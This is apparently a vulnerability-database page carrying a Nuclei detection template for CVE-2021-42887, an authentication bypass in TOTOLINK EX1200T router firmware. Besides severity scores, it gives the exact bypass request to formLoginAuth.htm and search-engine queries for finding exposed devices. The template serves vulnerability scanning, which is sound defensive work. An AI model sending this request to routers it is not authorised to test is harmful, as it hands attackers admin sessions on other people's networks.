Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-42887
HistoryNov 06, 2022 - 7:01 a.m.

TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass

2022-11-0607:01:25
ProjectDiscovery
github.com
5
cve2021
totolink
authentication-bypass
router
unauthorized-access
device-compromise
network-compromise

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.7

Confidence

High

EPSS

0.08

Percentile

94.3%

TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
id: CVE-2021-42887

info:
  name: TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass
  author: gy741
  severity: critical
  description: |
    TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the device, potentially leading to further compromise of the network.
  remediation: |
    Apply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability.
  reference:
    - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
    - https://nvd.nist.gov/vuln/detail/cve-2021-42887
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42887
    cwe-id: CWE-287
    epss-score: 0.08034
    epss-percentile: 0.94287
    cpe: cpe:2.3:o:totolink:ex1200t_firmware:4.1.2cu.5215:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: totolink
    product: ex1200t_firmware
    shodan-query:
      - title:"TOTOLINK"
      - http.title:"totolink"
    fofa-query: title="totolink"
    google-query: intitle:"totolink"
  tags: cve2021,cve,totolink,auth-bypass,router

http:
  - raw:
      - |
        GET /login.htm HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "TOTOLINK"

      - type: word
        part: header_2
        words:
          - "Set-Cookie: SESSION_ID="

      - type: status
        status:
          - 302
# digest: 490a0046304402204f23a33aefd2471f1eeef055d3ba229be00990b3407e83494dd661473b5e8ae602207c007c2dde1d4b0a85914503b8091ef7ed3052eeae87f42e6596c6dbdcd26fef:922c64590222798bb761d5b6d8e72950

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.7

Confidence

High

EPSS

0.08

Percentile

94.3%

Related for NUCLEI:CVE-2021-42887